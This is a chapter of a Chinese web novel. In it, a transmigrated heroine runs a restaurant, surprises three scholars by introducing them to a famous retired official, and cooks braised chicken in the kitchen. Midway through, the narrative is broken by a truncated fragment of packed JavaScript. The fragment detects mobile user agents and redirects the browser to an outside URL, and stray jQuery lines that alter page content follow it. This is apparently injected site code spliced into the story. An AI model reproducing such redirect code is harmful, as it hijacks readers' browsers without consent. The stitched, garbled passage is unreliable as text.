叶扶秋话一出，三个儒生登时静了下来。


    先前态度坚决否认的那人皱着眉，道：“姑娘切莫胡言，你认得季大人是谁吗？”


    他抱拳向东方遥遥一拜：“那可是当今文坛魁首，孔夫子在世似的人物。”


    叶扶秋“噗嗤”一下笑出声：“季先生恐怕自己都不知道，他竟是这般伟人。”


    “你懂什么，”那人被她笑得面燥，“这是我们文人的事，还请姑娘莫要再顽笑了。”


    “我没说笑哇，”叶扶秋无辜地眨眨眼，“是真的。”


    “冥顽不灵！”


    那人刚痛心疾首长叹出声，就见到小二陈河从店里冲出来，冲着叶扶秋就激动地喊：“东家快进来，有贵客到了！”


    “东……什么？”几个文人一愣，紧接着就眼睁睁看到叶扶秋对那小二颔首，“这就来。”


    叶扶秋跟着陈河往店里走了几步，半晌像是才想起他们似的，回头莞尔一笑：“想见‘孔圣人’在世、文坛魁首季光源吗？”


    “………………”


    三人下巴掉了一地，最终还是那个年纪稍长些的，用一种做梦似的表情，缓缓开口：“……这世上有两个叫季光源的人吗？”


    叶扶秋故作思考：“或许有吧，不过当过翰林院掌院的那个季光源应该只有一个，你们想见吗？”


    “想想想！”三人异口同声，立马道。


    “那就随我来吧，”瞧见三人脸上如梦似幻，好像马上就要尖叫出声的迷弟样子，叶扶秋补充，“嘘，低调些。”


    儒生们连忙捂住嘴，点头如捣蒜。


    叶扶秋这才带着他们进了店，往给季先生留的包厢去——今天开业，季先生说什么都要来捧场，还说要见见他题字的那块匾。


    敲门进屋时，季先生正同顾宴苏说话，见到叶扶秋身后的陌生人，脸上划过一丝诧异。


    三人见到偶像，脸上难掩激动之色，行动却拘谨的很，谁也没敢贸然说话，最后还是叶扶秋先开口解了围：“先生莫怪，方才我在店外见到这三人讨论牌匾，听他们对题字者很是推崇，便斗胆将他们带进来了。”


    “原是如此。”季先生捋着胡子，呵呵笑了笑，“你们几个找老夫何事啊？”


    被偶像目光注视到的三人浑身僵硬，那嘴硬年轻人哆嗦着声音，率先发问：“您！您真是翰林院掌院，季大人？！”


    “老夫早已致仕，不必如此尊称。”


    见他语气和蔼，三人放松了许多，一人问：“那学生斗胆叫您一声季先生，叶记那‘及第馆’三字真是您写的？”


    “正是。”


    “可您不是号凿光斋主么，那山阴是……”


    “老夫乃是山阴人，别号山阴居士。”老人宽和笑道。


    “原是如此……”


    三人赧然，年长的难掩喜悦：“季先生，学生仰慕您久矣，没想到今日竟能在这遇见您，真是三生有幸，你这笔字真是臻入化境，不愧为文坛典范。”


    他哔哔叭叭大吹了一通彩虹屁，季先生乐呵呵听着，还不时挑眉用一种得意的小眼神瞟顾宴苏，好像在说：虽然你小子写字有些天赋，可论到实力，还得是你师傅我。


    顾宴苏接收到他的信号，脸上没甚表情，手上却欣欣然抱了拳，遥示敬意。


    叶扶秋瞧着两人互动，心里发笑，季先生这老顽童似的性情实在可爱。


    她正偷笑着，冷不防听到有人喊她，回头一看，就见那个嘴最硬的儒生对她说话：“姑娘，还请原谅。”


    叶扶秋“嗯？”了一声，那人竟涨红了脸向她倒道歉：“方才是我小人之心度君子之腹了，没料想姑娘竟真认得季先生。”


    见他诚心，叶扶秋也不在意，眨了眨眼狡黠笑道：“无妨，这下知道我没有‘顽笑’了吧，我们小女子也有识得大儒的权利呢。”


    “自然自然。”那人羞得恨不得钻地缝里去，还不时偷瞄瞄季先生，眼神在崇拜和羞赧之间反复摇摆，看得叶扶秋好笑。


    三个儒生又向季先生求教了些问题，见他们还有事，便很有眼力见的告辞了，回家一路脸上都带着难掩的激动。


    有人忍不住和同窗好友炫耀了今天的神奇经历，以至于竟传出消息，说及第馆和季先生关系极好，后来全越城的读书人都养成了去及第馆吃饭碰运气，想偶遇季光源的习惯。


    结果还真有幸运儿偶遇过几次，这条传言便更加深入人心，以至于季先生偶尔再来及第馆吃饭，都要戴上兜帽蒙着面了。


    不过这都是后话先且不提，饭桌上，季先生提起顾宴苏府试：“你何时出发去府城？县案首虽说保过府试，但省府人才济济，想拿头名也不是那般容易。”


    顾宴苏道：“等叶记忙完这几日便去。”


    他是个不愿欠人情的高傲性子，这段时日叶记供养他读书，他对叶家人虽然还是冷冰冰的，行动上却尽力帮忙，叶记那些疑难杂帐，有他帮着梳理，也算解决了叶扶秋不少麻烦。


    叶扶秋感觉自己像是在替原主还债，她倒是宁愿顾宴苏什么都不干，也好过他始终和叶家泾渭分明，两人之间隔着楚河汉界，叫她总联想起书里那倒霉结局。


    “你跟先生回去温书吧，叶记能忙得过来，考试重要。”


    这辈子可比书里提前了一年参加科举，叶扶秋生怕自己这双蝴蝶翅膀扇歪了男主人生轨迹，心中惴惴劝道。


    “不用。”


    顾宴苏声音淡淡的，俊秀的眉眼里无波无澜。


    穿书这么久，他终于被叶扶秋养出了点肉，原本瘦削到仿佛皮贴骨的脸颊丰盈许多，乌发一丝不苟地束着，露出他冷白的皮肤，像是玉人一般。


    真是赏心悦目。


    叶扶秋觉得自己眼睛受到了很好的对待，便自觉很宽容不和他争辩了，转头问起季先生：“今天又劳烦先生来捧场，想吃什么，我去后厨亲自给您做。”


    “现在想起我了？”季先生隔空点了点她，笑骂道，“你这丫头鬼精鬼精的，你以为我看不出来，你刚才故意带那几个学生进来，就是想告诉所有人，叶记这牌匾是我写的？”


    叶扶秋嘿嘿一笑：“没想过能瞒住先生。”，她讨饶道，“这不是想着不好让您的墨宝蒙尘嘛，那么好的字，就该让所有人知道出自您手。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190865|195504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“你啊你，”季先生摇摇头，“既然承了我的名，那你可得给我做一桌子好菜，做得不好我可不依。”


    “好嘞，小的遵命。”叶扶秋耍宝似的行了个礼，溜了。


    回到厨房，叶父满头油烟，忙得不可开交，叶母也不时进来帮帮他忙，一刻也停不下来。


    见着叶扶秋，叶父抱怨道：“你可算过来了，我一个人怎忙得过来。”


    “我也实在没想到会有这么多人。”外头客人一波接一波源源不断的来，连叶扶秋自己都没想到，自家饭馆拢共就大堂十八张桌子外加包厢两张，今天店外头又临时加了四桌，就这样都不够坐的，等位区的客人排了一排，粗略数过去，怕是有上百号人。


    就这还是叶扶秋见势不对，叫停了外头的队伍，不如还有客人想排呢。


    她给叶父打着气：“爹再坚持坚持，回头咱们再招些人手。”


    叶父还能怎么办？只能撸起袖子加油干，任劳任怨继续炒菜，还好叶扶秋深谙现代后厨的备菜模式，各类所需食材全都清洗干净，鸡鸭处理干净切成块，蔬菜也洗净切段，更别说葱姜蒜这些常用的辅料，分门别类提前备好，做菜时便省了大半功夫。


    季先生没说要吃什么，只让叶扶秋看着办，她在后厨转了一圈，准备先做道黄焖鸡送去。


    取了盘提前斩好的小嫩鸡，叶扶秋剥下几块鸡油，这批食材买的极好，嫩黄的鸡油十分软弹，小火下到锅里煸香，锅里很快就熬出一层清亮的油脂。


    把油渣捞出，叶扶秋又撒进去一勺冰糖准备炒糖色，小火熬到糖块融化，渐渐变成喜人的枣红色，她弯腰用火筷子调整了灶下熊熊烧着的柴火，一见火候变大，便赶紧下进一旁的鸡块翻炒——但凡晚上一时半刻，锅底的糖就要糊了，那股子焦苦的味道，闻过一次就再也不想见着。


    古代糖价高昂，叶扶秋可不舍得浪费。


    红艳的火舌舔过锅底，铁锅里立刻噼里啪啦炸响起来，嫩黄的鸡皮在炉火作用下迅速收紧，白生生的鸡肉也裹上了棕红的酱色。


    叶扶秋加了些豆瓣酱和酱油，用来代替现代的黄焖酱料，蒜瓣、姜片也一块丢进锅里翻炒，浓浓的鸡肉香味便喷涌而出，顺着蒸腾的白烟一起扑了人满脸。


    趁着火势正大，沿着锅边迅速淋上一圈黄酒，酒精蒸发时一并带走了鸡肉的腥气，再取碗泡发香菇的水，和着热水一并倒进锅里，水面刚好盖过鸡肉，一会功夫，咕噜咕噜，锅里便沸腾了起来。


    尝了尝汤汁的味道，有些淡了，叶扶秋加了勺盐，再尝尝，嗯，可以了。现在的汤汁其实还有些偏淡，然而等到汤汁收浓便会正好了。


    叶扶秋自小有只“金舌头”，中餐菜谱的“少许”、“适量”对她来说根本不是问题，她总能找到那个恰好的尺度，不过偶尔也会有小小翻车的时候。


    “差点忘了放香菇。”


    匆忙取了些泡好的香菇丢进去，瞧见火势过旺，叶扶秋又蹲下去调整起灶火，接下来可是要加盖焖煮两炷香时间的，火这么大可不行。


    鸡肉的香气沿着锅边一点点升起，叶扶秋摸了摸肚子，开始期待起开锅后的美味。